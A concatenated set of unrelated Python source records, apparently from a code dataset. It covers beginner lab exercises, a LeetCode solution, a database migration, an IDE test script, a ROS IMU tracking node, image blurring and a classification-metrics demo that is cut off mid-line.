1. A recipe you are reading states how many grams you need for the ingredient.\r\n# Unfortunately, your store only sells items in ounces. Create a function to convert grams to ounces. ounces = 28.3495231 * grams\r\ndef grams_to_ounces(grams):\r\n return 28.3495231 * grams\r\ngrams = int(input())\r\nprint(grams_to_ounces(grams))\r\n\r\n# 2. Read in a Fahrenheit temperature. Calculate and display the equivalent centigrade temperature. \r\n# The following formula is used for the conversion: C = (5 / 9) * (F – 32)\r\ndef fahrenheit_to_centigrade(fahrenheit):\r\n return (5/9)*(fahrenheit-32)\r\nfahrenheit = int(input())\r\nprint(fahrenheit_to_centigrade(fahrenheit))\r\n\r\n# 3. Write a program to solve a classic puzzle:\r\n# We count 35 heads and 94 legs among the chickens and rabbits in a farm. How many rabbits and how many chickens do we have? create function: solve(numheads, numlegs):\r\ndef solve(numheads,numlegs):\r\n rabbits = 0.5 * numlegs - numheads\r\n chickens = 2 * numheads - 0.5 * numlegs\r\n return(rabbits,chickens)\r\nnumheads = int(input())\r\nnumlegs = int(input())\r\nprint(solve(numheads,numlegs))\r\n\r\n# 4. You are given list of numbers separated by spaces.\r\n# Write a function filter_prime which will take list of numbers as an agrument and returns only prime numbers from the list.\r\nfrom math import sqrt\r\ndef is_prime(nums):\r\n primes = []\r\n isPrime = True\r\n for num in nums:\r\n for i in range(2, int(sqrt(num))):\r\n if num % i == 0:\r\n isPrime = False\r\n break\r\n if isPrime is True:\r\n primes.append(num)\r\n isPrime = True\r\n return primes\r\nnums = list(map(int, input().split()))\r\nprint(is_prime(nums))\r\n\r\n# 5. Write a function that accepts string from user and print all permutations of that string.\r\nfrom itertools import permutations\r\ndef find_permutations(s):\r\n char_list = [s[i] for i in range(0, len(s))]\r\n char_list.sort()\r\n prms = permutations(char_list)\r\n for permutation in prms:\r\n print(permutation)\r\nfind_permutations(\"abc\")\r\n\r\n# 6.Write a function that accepts string from user, return a sentence with the words reversed.\r\n# We are ready -> ready are We\r\ndef reverse_words(s):\r\n s = s.split()\r\n s.reverse()\r\n return ' '.join(s)\r\ns = input()\r\nprint(reverse_words(s))\r\n\r\n# 7. Given a list of ints, return True if the array contains a 3 next to a 3 somewhere.\r\ndef has_33(nums):\r\n isTrue = False\r\n for i in range(1, len(nums)):\r\n num = nums[i] * 10 + nums[i-1]\r\n if num == 33:\r\n isTrue = True\r\n break\r\n return isTrue\r\nnums = list(map(int, input().split()))\r\nprint(has_33(nums))\r\n\r\n# 8. Write a function that takes in a list of integers and returns True if it contains 007 in order\r\ndef spy_game(nums):\r\n is007 = False\r\n for i in range(2, len(nums)):\r\n agent = nums[i-2] * 100 + nums[i-1] * 10 + nums[i]\r\n if agent == 7:\r\n is007 = True\r\n break\r\n return is007\r\nnums = list(map(int, input().split()))\r\nprint(spy_game(nums))\r\n\r\n# 9. Write a function that computes the volume of a sphere given its radius.\r\ndef volume(radius):\r\n from math import pi\r\n return 4/3 * pi * radius**3\r\nradius = int(input())\r\nprint(volume(radius))\r\n\r\n# 10. Write a Python function that takes a list and returns a new list with unique elements of the first list. Note: don't use collection set.\r\ndef uniques(elements):\r\n uniques = dict(())\r\n for i in elements:\r\n if(i not in uniques.keys()):\r\n uniques[i] = 0\r\n return uniques.keys()\r\nelements = list(map(int, input().split()))\r\nprint(uniques(elements))\r\n\r\n# 11. Write a Python function that checks whether a word or phrase is palindrome or not. \r\n# Note: A palindrome is word, phrase, or sequence that reads the same backward as forward, e.g., madam\r\ndef is_palindrome(s):\r\n char_list = [s[i] for i in range(len(s))]\r\n char_list.reverse()\r\n s1 = ''.join(char_list)\r\n return s == s1\r\ns = str(input())\r\nprint(is_palindrome(s))\r\n\r\n# 12. Define a function histogram() that takes a list of integers and prints a histogram to the screen. \r\n# For example, histogram([4, 9, 7]) should print the following:\r\ndef histogram(values):\r\n char = '*'\r\n for i in values:\r\n if i != 0:\r\n char = char * i\r\n else:\r\n char = ''\r\n print(char)\r\n char = '*'\r\nhistogram([4, 9, 7])\r\n\r\n# 13. Write a program able to play the \"Guess the number\" \r\nimport random\r\nprint(\"Hello! What is your name?\")\r\nname = str(input())\r\nprint(\"Well,\", name,\", I am thinking of a number between 1 and 20.\")\r\nguessed_num = random.randint(1, 20)\r\nguess = 0\r\nnum_guesses = 0\r\nwhile guess != guessed_num:\r\n print(\"Take a guess\")\r\n guess = int(input())\r\n num_guesses += 1\r\n if guess < guessed_num:\r\n print('Your guess is too low.')\r\n elif guess > guessed_num:\r\n print('Your guess is too high')\r\n else:\r\n print(f\"Good job, {name}! You guessed my number in {num_guesses} guesses!\")\r\n break\r\n\r\n\r\n","repo_name":"Ingkar010/PP2_labs","sub_path":"lab 3/function1.py","file_name":"function1.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43058420343","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/7/9 14:38\r\n# @Author : Youpeng Li\r\n# @Site : \r\n# @File : 0120_minimumTotal.py\r\n# @Software: PyCharm\r\n\r\n'''\r\n120. Triangle\r\n\r\nGiven a triangle, find the minimum path sum from top to bottom.\r\nEach step you may move to adjacent numbers on the row below.\r\n\r\nFor example, given the following triangle\r\n[\r\n [2],\r\n [3,4],\r\n [6,5,7],\r\n [4,1,8,3]\r\n]\r\nThe minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11).\r\n\r\nNote:\r\nBonus point if you are able to do this using only O(n) extra space,\r\nwhere n is the total number of rows in the triangle.\r\n'''\r\n\r\nclass Solution:\r\n def minimumTotal(self, triangle: 'List[List[int]]') -> 'int':\r\n # O(n*n/2) space, top-down\r\n if not triangle:\r\n return\r\n res = [[0 for i in range(len(row))] for row in triangle]\r\n res[0][0] = triangle[0][0]\r\n for i in range(1, len(triangle)):\r\n for j in range(len(triangle[i])):\r\n if j == 0:\r\n res[i][j] = res[i - 1][j] + triangle[i][j]\r\n elif j == len(triangle[i]) - 1:\r\n res[i][j] = res[i - 1][j - 1] + triangle[i][j]\r\n else:\r\n res[i][j] = min(res[i - 1][j - 1], res[i - 1][j]) + triangle[i][j]\r\n return min(res[-1])\r\n\r\n def minimumTotal_1(self, triangle: 'List[List[int]]') -> 'int':\r\n # Modify the original triangle, top-down\r\n if not triangle:\r\n return\r\n for i in range(1, len(triangle)):\r\n for j in range(len(triangle[i])):\r\n if j == 0:\r\n triangle[i][j] += triangle[i - 1][j]\r\n elif j == len(triangle[i]) - 1:\r\n triangle[i][j] += triangle[i - 1][j - 1]\r\n else:\r\n triangle[i][j] += min(triangle[i - 1][j - 1], triangle[i - 1][j])\r\n return min(triangle[-1])\r\n\r\n def minimumTotal_2(self, triangle: 'List[List[int]]') -> 'int':\r\n # Modify the original triangle, bottom-up\r\n if not triangle:\r\n return\r\n for i in range(len(triangle) - 2, -1, -1):\r\n for j in range(len(triangle[i])):\r\n triangle[i][j] += min(triangle[i + 1][j], triangle[i + 1][j + 1])\r\n return triangle[0][0]\r\n\r\n def minimumTotal_3(self, triangle: 'List[List[int]]') -> 'int':\r\n # bottom-up, O(n) space\r\n if not triangle:\r\n return\r\n res = triangle[-1]\r\n for i in range(len(triangle) - 2, -1, -1):\r\n for j in range(len(triangle[i])):\r\n res[j] = min(res[j], res[j + 1]) + triangle[i][j]\r\n return res[0]\r\n\r\n def minimumTotal_4(self, triangle: 'List[List[int]]') -> 'int':\r\n m = len(triangle)\r\n for i in range(1, m):\r\n triangle[i][0] += triangle[i - 1][0]\r\n triangle[i][-1] += triangle[i - 1][-1]\r\n for i in range(2, m):\r\n for j in range(1, i):\r\n triangle[i][j] += min(triangle[i - 1][j - 1], triangle[i - 1][j])\r\n return min(triangle[-1])\r\n\r\nif __name__ == \"__main__\":\r\n a = Solution()\r\n triangle = [\r\n [2],\r\n [3, 4],\r\n [6, 5, 7],\r\n [4, 1, 8, 3]\r\n ]\r\n print(a.minimumTotal(triangle))\r\n print(a.minimumTotal_1(triangle))\r\n triangle = [\r\n [2],\r\n [3, 4],\r\n [6, 5, 7],\r\n [4, 1, 8, 3]\r\n ]\r\n print(a.minimumTotal_2(triangle))\r\n triangle = [\r\n [2],\r\n [3, 4],\r\n [6, 5, 7],\r\n [4, 1, 8, 3]\r\n ]\r\n print(a.minimumTotal_3(triangle))\r\n triangle = [\r\n [2],\r\n [3, 4],\r\n [6, 5, 7],\r\n [4, 1, 8, 3]\r\n ]\r\n print(a.minimumTotal_4(triangle))","repo_name":"YoupengLi/leetcode-sorting","sub_path":"Solutions/0120_minimumTotal.py","file_name":"0120_minimumTotal.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"8277570293","text":"\"\"\"empty message\n\nRevision ID: bd314a1a5e69\nRevises: eb1694050c34\nCreate Date: 2017-11-01 11:25:38.333888\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'bd314a1a5e69'\ndown_revision = 'eb1694050c34'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('enquiries',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('email', sa.String(length=64), nullable=True),\n sa.Column('subject', sa.String(length=64), nullable=True),\n sa.Column('body', sa.Text(), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('user', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_enquiries_timestamp'), 'enquiries', ['timestamp'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_enquiries_timestamp'), table_name='enquiries')\n op.drop_table('enquiries')\n # ### end Alembic commands ###\n","repo_name":"AbhishekShaha/cloud-deploy","sub_path":"migrations/versions/bd314a1a5e69_.py","file_name":"bd314a1a5e69_.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40697038666","text":"class Solution:\n def longestCommonPrefix(self, strs) -> str:\n '''\n :type str: str \n :rtype: int\n '''\n if not strs:\n return ''\n \n str1 = min(strs)\n str2 = max(strs)\n print(str1, str2)\n for idx, char in enumerate(str1):\n print(char)\n if char != str2[idx]:\n return str1[:idx]\n return str1\n\n\ndef main():\n print('Given List of String: {}'.format(array))\n sol = Solution()\n result = sol.longestCommonPrefix(array)\n print('Returned Output: {}'.format(result))\n\n\nif __name__ == '__main__':\n array = [\"flower\",\"flow\",\"flight\"]\n main()","repo_name":"ankitchaudhary23/Problem_Solving-Leetcode-HackerRank","sub_path":"lc-algorithms/14_longestCommonPrefix.py","file_name":"14_longestCommonPrefix.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31552206133","text":"source(\"../../shared/qtcreator.py\")\n\ndef main():\n global tmpSettingsDir, availableBuildSystems\n qtVersionsForQuick = [\"5.3\"]\n availableBuildSystems = [\"qmake\", \"Qbs\"]\n if platform.system() != 'Darwin':\n qtVersionsForQuick.append(\"5.4\")\n if which(\"cmake\"):\n availableBuildSystems.append(\"CMake\")\n else:\n test.warning(\"Could not find cmake in PATH - several tests won't run without.\")\n\n startApplication(\"qtcreator\" + SettingsPath)\n if not startedWithoutPluginError():\n return\n kits = getConfiguredKits()\n test.log(\"Collecting potential project types...\")\n availableProjectTypes = []\n invokeMenuItem(\"File\", \"New File or Project...\")\n categoriesView = waitForObject(\":New.templateCategoryView_QTreeView\")\n catModel = categoriesView.model()\n projects = catModel.index(0, 0)\n test.compare(\"Projects\", str(projects.data()))\n comboBox = findObject(\":New.comboBox_QComboBox\")\n targets = zip(*kits.values())[0]\n test.verify(comboBox.enabled, \"Verifying whether combobox is enabled.\")\n test.compare(comboBox.currentText, \"All Templates\")\n try:\n selectFromCombo(comboBox, \"All Templates\")\n except:\n test.warning(\"Could not explicitly select 'All Templates' from combobox.\")\n for category in [item.replace(\".\", \"\\\\.\") for item in dumpItems(catModel, projects)]:\n # skip non-configurable\n if \"Import\" in category:\n continue\n clickItem(categoriesView, \"Projects.\" + category, 5, 5, 0, Qt.LeftButton)\n templatesView = waitForObject(\"{name='templatesView' type='QListView' visible='1'}\")\n # needed because categoriesView and templatesView using same model\n for template in dumpItems(templatesView.model(), templatesView.rootIndex()):\n template = template.replace(\".\", \"\\\\.\")\n # skip non-configurable\n if not template in [\"Qt Quick UI Prototype\", \"Qt Canvas 3D Application\",\n \"Auto Test Project\"]: # FIXME\n availableProjectTypes.append({category:template})\n safeClickButton(\"Cancel\")\n for current in availableProjectTypes:\n category = current.keys()[0]\n template = current.values()[0]\n displayedPlatforms = __createProject__(category, template)\n if template == \"Qt Quick Application\" or template == \"Qt Quick Controls Application\":\n for counter, qtVersion in enumerate(qtVersionsForQuick):\n def additionalFunc(displayedPlatforms, qtVersion):\n requiredQtVersion = __createProjectHandleQtQuickSelection__(qtVersion)\n __modifyAvailableTargets__(displayedPlatforms, requiredQtVersion, True)\n handleBuildSystemVerifyKits(category, template, kits, displayedPlatforms,\n additionalFunc, qtVersion)\n # are there more Quick combinations - then recreate this project\n if counter < len(qtVersionsForQuick) - 1:\n displayedPlatforms = __createProject__(category, template)\n continue\n elif template == \"Qt Quick Controls 2 Application\": # needs a Qt5.7\n def additionalFunc(displayedPlatforms):\n clickButton(waitForObject(\":Next_QPushButton\")) # ignore this details page for now\n handleBuildSystemVerifyKits(category, template, kits, displayedPlatforms, additionalFunc)\n continue\n elif template.startswith(\"Plain C\"):\n handleBuildSystemVerifyKits(category, template, kits, displayedPlatforms)\n continue\n\n handleBuildSystemVerifyKits(category, template, kits, displayedPlatforms)\n\n invokeMenuItem(\"File\", \"Exit\")\n\ndef verifyKitCheckboxes(kits, displayedPlatforms):\n waitForObject(\"{type='QLabel' unnamed='1' visible='1' text='Kit Selection'}\")\n availableCheckboxes = filter(visibleCheckBoxExists, kits.keys())\n # verification whether expected, found and configured match\n for t in kits:\n if t in displayedPlatforms:\n if t in availableCheckboxes:\n test.passes(\"Found expected kit '%s' on 'Kit Selection' page.\" % t)\n availableCheckboxes.remove(t)\n else:\n test.fail(\"Expected kit '%s' missing on 'Kit Selection' page.\" % t)\n else:\n if t in availableCheckboxes:\n test.fail(\"Kit '%s' found on 'Kit Selection' page - but was not expected!\" % t)\n else:\n test.passes(\"Irrelevant kit '%s' not found on 'Kit Selection' page.\" % t)\n if len(availableCheckboxes) != 0:\n test.fail(\"Found unexpected additional kit(s) %s on 'Kit Selection' page.\"\n % str(availableCheckboxes))\n\ndef handleBuildSystemVerifyKits(category, template, kits, displayedPlatforms,\n specialHandlingFunc = None, *args):\n global availableBuildSystems\n combo = \"{name='BuildSystem' type='Utils::TextFieldComboBox' visible='1'}\"\n try:\n waitForObject(combo, 2000)\n skipBuildsystemChooser = False\n except:\n skipBuildsystemChooser = True\n\n if skipBuildsystemChooser:\n test.log(\"Wizard without build system support.\")\n if specialHandlingFunc:\n specialHandlingFunc(displayedPlatforms, *args)\n verifyKitCheckboxes(kits, displayedPlatforms)\n safeClickButton(\"Cancel\")\n return\n\n for counter, buildSystem in enumerate(availableBuildSystems):\n test.log(\"Using build system '%s'\" % buildSystem)\n selectFromCombo(combo, buildSystem)\n clickButton(waitForObject(\":Next_QPushButton\"))\n if specialHandlingFunc:\n specialHandlingFunc(displayedPlatforms, *args)\n verifyKitCheckboxes(kits, displayedPlatforms)\n safeClickButton(\"Cancel\")\n if counter < len(availableBuildSystems) - 1:\n displayedPlatforms = __createProject__(category, template)\n\ndef __createProject__(category, template):\n def safeGetTextBrowserText():\n try:\n return str(waitForObject(\":frame.templateDescription_QTextBrowser\", 500).plainText)\n except:\n return \"\"\n\n invokeMenuItem(\"File\", \"New File or Project...\")\n selectFromCombo(waitForObject(\":New.comboBox_QComboBox\"), \"All Templates\")\n categoriesView = waitForObject(\":New.templateCategoryView_QTreeView\")\n clickItem(categoriesView, \"Projects.\" + category, 5, 5, 0, Qt.LeftButton)\n templatesView = waitForObject(\"{name='templatesView' type='QListView' visible='1'}\")\n\n test.log(\"Verifying '%s' -> '%s'\" % (category.replace(\"\\\\.\", \".\"), template.replace(\"\\\\.\", \".\")))\n origTxt = safeGetTextBrowserText()\n clickItem(templatesView, template, 5, 5, 0, Qt.LeftButton)\n waitFor(\"origTxt != safeGetTextBrowserText() != ''\", 2000)\n displayedPlatforms = __getSupportedPlatforms__(safeGetTextBrowserText(), template, True)[0]\n safeClickButton(\"Choose...\")\n # don't check because project could exist\n __createProjectSetNameAndPath__(os.path.expanduser(\"~\"), 'untitled', False)\n return displayedPlatforms\n\ndef safeClickButton(buttonLabel):\n buttonString = \"{type='QPushButton' text='%s' visible='1' unnamed='1'}\"\n for _ in range(5):\n try:\n clickButton(buttonString % buttonLabel)\n return\n except:\n if buttonLabel == \"Cancel\":\n try:\n clickButton(\"{name='qt_wizard_cancel' type='QPushButton' text='Cancel' \"\n \"visible='1'}\")\n return\n except:\n pass\n snooze(1)\n test.fatal(\"Even safeClickButton failed...\")\n","repo_name":"loaden/qtcreator","sub_path":"tests/system/suite_general/tst_create_proj_wizard/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7692,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"7"} +{"seq_id":"70996190943","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@author : MG\n@Time : 2018/6/12 13:47\n@File : __init__.py.py\n@contact : mmmaaaggg@163.com\n@desc : \n\"\"\"\nfrom sqlalchemy import create_engine\nfrom tasks.config import config\nfrom ibats_utils.db import bunch_insert_on_duplicate_update, with_db_session, execute_scalar, execute_sql\nfrom functools import partial\nimport pandas as pd\n\nengine_dic = {key: create_engine(url, pool_pre_ping=True) for key, url in config.DB_URL_DIC.items()}\nengine_md = engine_dic[config.DB_SCHEMA_MD]\nbunch_insert_p = partial(bunch_insert_on_duplicate_update,\n engine=engine_md, myisam_if_create_table=True, schema=config.DB_SCHEMA_MD)\nwith_db_session_p = partial(with_db_session, engine=engine_md)\nexecute_scalar_p = partial(execute_scalar, engine=engine_md)\nexecute_sql_commit = partial(execute_sql, engine=engine_md, commit=True)\npd.set_option('display.width', 240)\npd.set_option('display.max_columns', 20)\npd.set_option('display.float_format', '{:,.4f}'.format)\n\n\ndef bunch_insert(df, table_name, dtype, primary_keys):\n from tasks.utils.to_sqlite import bunch_insert_sqlite\n if isinstance(df, list):\n df = pd.concat(df)\n\n data_count = bunch_insert_p(df, table_name=table_name, dtype=dtype, primary_keys=primary_keys)\n\n if config.ENABLE_EXPORT_2_SQLITE:\n bunch_insert_sqlite(df, mysql_table_name=table_name, primary_keys=primary_keys)\n\n return data_count\n","repo_name":"DataIntegrationAlliance/data_integration_celery","sub_path":"tasks/backend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":275,"dataset":"github-code","pt":"7"} +{"seq_id":"70070264544","text":"from libs.IMU_tracker import IMUTracker\nimport rclpy\nimport yaml\nfrom geometry_msgs.msg import PoseWithCovarianceStamped\nfrom custom_messages.msg import Imu9DOF\nfrom rclpy.time import Time\nimport numpy as np\n\nCALIB_DATA_SIZE = 1000\n\nimu_data = []\nmsg_ts = 0\n\ndef imu_callback(msg:Imu9DOF):\n global imu_data\n global msg_ts\n\n msg_ts = Time.from_msg(msg.header.stamp).nanoseconds\n imu_data = [msg.linear_acceleration.x, msg.linear_acceleration.y, msg.linear_acceleration.z,\n msg.angular_velocity.x, msg.angular_velocity.y, msg.angular_velocity.z, \n msg.orientation.x, msg.orientation.y, msg.orientation.z, msg.orientation.w]\n\ndef main():\n # load config\n with open(\"/home/user/ws/src/config/config.yaml\", \"r\") as file:\n config = yaml.safe_load(file)\n node_name = config[\"tracker\"][\"node\"]\n pos_topic = config[\"tracker\"][\"topic\"]\n sample_rate = config[\"tracker\"][\"sample_rate\"]\n topic = config[\"imu\"][\"topic\"]\n imu_sample_rate = config[\"imu\"][\"sample_rate\"]\n\n # ros2 initialization\n rclpy.init()\n global node\n node = rclpy.create_node(node_name)\n imu_sub = node.create_subscription(Imu9DOF, topic, imu_callback, 10)\n pos_pub = node.create_publisher(PoseWithCovarianceStamped, pos_topic, 10)\n rate = node.create_rate(sample_rate) # frequency in Hz\n imu_sub, pos_pub, rate # prevent unused variable warning\n logger = node.get_logger()\n logger.info('Tracker node launched.')\n\n tracker = IMUTracker(imu_sample_rate)\n \n global imu_data\n global msg_ts\n \n # calibrate tracker when IMU is stationary\n node.get_logger().info('Waiting for callibration data. Keep the IMU stationary...')\n callib_data = []\n while not finished_callib:\n rclpy.spin_once(node)\n if imu_data:\n callib_data.append(imu_data)\n imu_data = []\n\n if len(callib_data) > CALIB_DATA_SIZE:\n finished_callib = True\n\n callib_data_np = np.array(callib_data, dtype=np.float32)\n tracker.initialize(callib_data_np)\n logger.info('Callibration finished.')\n\n logger.info('Position tracking started.')\n while True:\n rclpy.spin_once(node)\n\n np_data = np.array(imu_data, dtype=np.float32)\n\n p = tracker.calculatePosition(np_data, msg_ts)\n\n # publish position\n msg = PoseWithCovarianceStamped()\n msg.header.stamp = node.get_clock().now().to_msg()\n msg.pose.pose.position.x = p[0]\n msg.pose.pose.position.y = p[1]\n msg.pose.pose.position.z = p[2]\n\n msg.pose.pose.orientation.x = np_data[6]\n msg.pose.pose.orientation.y = np_data[7]\n msg.pose.pose.orientation.z = np_data[8]\n msg.pose.pose.orientation.w = np_data[9]\n\n msg.pose.covariance = [0.1, 0, 0, 0, 0, 0,\n 0, 0.1, 0, 0, 0, 0,\n 0, 0, 0.1, 0, 0, 0,\n 0, 0, 0, 0.1, 0, 0,\n 0, 0, 0, 0, 0.1, 0]\n\n pos_pub.publish(msg)\n\nif __name__ == '__main__':\n main()\n","repo_name":"YapiraUFPR/Bedman-Trekker","sub_path":"src/pose_estimators/pose_estimators/imu_tracker/slam_node.py","file_name":"slam_node.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26062704359","text":"import numpy as np\nfrom PIL import Image\nimport cv2\nimport math\n\n#img = Image.open(\"Globe.png\")\nimg = Image.open(\"Globe.png\")\n\narr = np.array(img)\n\ndef conv(X, H):\n # make sure both X and H are 2-D\n assert( X.ndim == 2)\n assert( H.ndim == 2)\n\n # get the horizontal and vertical size of X and H\n imageColumns = X.shape[1]\n imageRows = X.shape[0]\n kernelColumns = H.shape[1]\n kernelRows = H.shape[0]\n\n # calculate the horizontal and vertical size of Y (assume \"full\" convolution)\n newRows = imageRows + kernelRows - 1\n newColumns = imageColumns + kernelColumns - 1\n\n # create an empty output array\n Y = np.zeros((newRows,newColumns))\n\n\n # go over output locations\n for m in range(newRows):\n for n in range(newColumns):\n\n # go over input locations\n for i in range(kernelRows):\n for j in range(kernelColumns):\n if (m-i >= 0) and (m-i < imageRows ) and (n-j >= 0) and (n-j < imageColumns):\n Y[m,n] = Y[m,n] + H[i,j]*X[m-i,n-j]\n # make sure kernel is within bounds\n\n # calculate the convolution sum\n\n return Y\n\n\"********creating Gaussian kernel with given sigma**************\"\n#********creating Gaussian kernel with given sigma**************\"\ndef GaussianKernal_spaceInvariant(sigma):\n s = 6*sigma + 1\n filter_size = math.ceil(s)\n b = filter_size%2\n if b == 0:\n filter_size = filter_size+1\n h = np.zeros((filter_size, filter_size), dtype = float)\n m = filter_size//2\n n = filter_size//2\n sum = 0\n for x in range(-m, m+1):\n for y in range(-n, n+1):\n if sigma == 0.0:\n x1 = 1\n sigma = 1\n else:\n x1 = 2*np.pi*(sigma**2)\n x2 = np.exp(-(x**2 + y**2)/(2* sigma**2))\n h[x+m, y+n] = (1/x1)*x2\n sum = sum + h[x+m,y+n]\n #print(sum)\n h = h/sum\n \n return h\n#Space Variant blurring - defining sigma for different pixels of image\ndef GaussianKernal_SigmaMap(arr):\n # get the horizontal and vertical size of image\n N = arr.shape[0]\n A = 2.0\n B = N*N\n B = B/10.596\n sigmaMap = np.zeros([N,N], dtype = float)\n sigmaMap[0,0] = 0.01\n #Defining sigma Map for various pixels of image\n for i in range(N-1):\n for j in range(N-1):\n sigmaMap[i,j] = A * np.exp(-((i-N/2)*(i-N/2) + (j - N/2)*(j - N/2))/B)\n return sigmaMap\n\n\n\ndef spaceVariantBlurring(arr):\n#h = GaussianKernal(1.2)\n#h = np.array([[1/9,1/9,1/9],[1/9,1/9,1/9],[1/9,1/9,1/9]])\n#h = np.array([[1,0,-1],[0,0,0],[-1,0,1]]) //Edge detection\n#h = np.array([[0,-1,0],[-1,4,-1],[0,-1,0]]) #Edge detection\n#h = np.array([[1/16,2/16,1/16],[2/16,4/16,2/16],[1/16,2/16,1/16]]) #Gaussian Blurr\n#####Getting Sigma Map matrix for the given input image\n sigmaMap = GaussianKernal_SigmaMap(arr)\n \n #print(sigmaMap)\n N = arr.shape[0]\n\n #******Nautical.png blurring experiment 2\n #sigmaMap = np.zeros([N,N], dtype = float)\n # for i in range(N-1):\n # for j in range(N-1):\n # sigmaMap[i,j] = 1.0\n # create an empty output array\n Y = np.zeros((N,N), dtype = float)\n\n for i in range(N-1):\n for j in range(N-1):\n sigma = sigmaMap[i,j] # Ek Ek Sigma se Kernel banaana hai, Fir usko blurring ke liye use karna hai\n kernel = GaussianKernal_spaceInvariant(sigma)\n #### Use this kernel for blurring the arr[i,j] pixel of the image*************\n kernel = arr[i,j] * kernel #Kernel ko pixel intensity se multiply karna hai\n k_size = kernel.shape[0] ##Alag alag Sigma value ke liye kernel ka size alag alag hoga\n x = k_size//2 #center of kernel, it needs to be placed at arr[i,j]\n for m in range(-x,x):\n for n in range(-x,x):\n if (i+m >= 0) and (i+m < N ) and (j+n >= 0) and (j+n < N):\n Y[i+m,j+n] = Y[i+m,j+n] + kernel[m+x,n+x]\n return Y\n\n#h = GaussianKernal_spaceInvariant(1.0) #*******Used for space Invariant Blurring\n#s = conv(arr,h) #*******Used for space Invariant Blurring\n##Space Variant Blurring of the input image\nY = spaceVariantBlurring(arr)\nimg1 = Image.fromarray(Y)\nimg1.show()\n","repo_name":"rashmi05pathak/ImageSignalProcessing","sub_path":"PA(5)_EE20s051/Assignment5.py","file_name":"Assignment5.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22561897951","text":"# Accuracy\nfrom __future__ import print_function\nimport numpy as np\n\ndef acc(y_true, y_pred):\n correct = np.sum(y_true == y_pred)\n return float(correct)/y_true.shape[0]\n\ny_true = np.array([0, 0, 0, 0, 1, 1, 1, 2, 2, 2])\ny_pred = np.array([0, 1, 0, 2, 1, 1, 0, 2, 1, 2])\nprint('accuracy = ', acc(y_true, y_pred))\n\nfrom sklearn.metrics import accuracy_score\nprint('accuracy = ',accuracy_score(y_true, y_pred))\n\n# Confusion matrix\ndef my_confusion_matrix(y_true, y_pred):\n N = np.unique(y_true).shape[0] # number of classes\n cm = np.zeros((N, N))\n for n in range(y_true.shape[0]):\n cm[y_true[n], y_pred[n]] += 1\n return cm\n\ncnf_matrix = my_confusion_matrix(y_true, y_pred)\nprint('Confusion matrix:')\nprint(cnf_matrix)\nprint('\\nAccuracy:', np.diagonal(cnf_matrix).sum()/cnf_matrix.sum())\n\nnormalized_confusion_matrix = cnf_matrix/cnf_matrix.sum(axis = 1, keepdims = True)\nprint('\\nConfusion matrix (with normalizatrion:)')\nprint(normalized_confusion_matrix)\n\nfrom sklearn.metrics import confusion_matrix\ncnf_matrix = confusion_matrix(y_true, y_pred)\nprint('Confusion matrix:')\nprint(cnf_matrix)\n\nimport matplotlib.pyplot as plt\nimport itertools\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1, keepdims = True)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n# Plot non-normalized confusion matrix\nclass_names = [0, 1, 2]\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=class_names,\n title='Confusion matrix, without normalization')\n\n# Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=class_names, normalize=True,\n title='Normalized confusion matrix')\n\nplt.show()\n\n# Receiver Operating Characteristic curve\n# generate simulated data\nn0, n1 = 20, 30\nscore0 = np.random.rand(n0)/2\nlabel0 = np.zeros(n0, dtype = int)\nscore1 = np.random.rand(n1)/2 + .2\nlabel1 = np.ones(n1, dtype = int)\nscores = np.concatenate((score0, score1))\ny_true = np.concatenate((label0, label1))\n\nprint('True labels:')\nprint(y_true)\nprint('\\nScores:')\nprint(scores)\n\nfrom sklearn.metrics import roc_curve, auc\nfpr, tpr, thresholds = roc_curve(y_true, scores, pos_label = 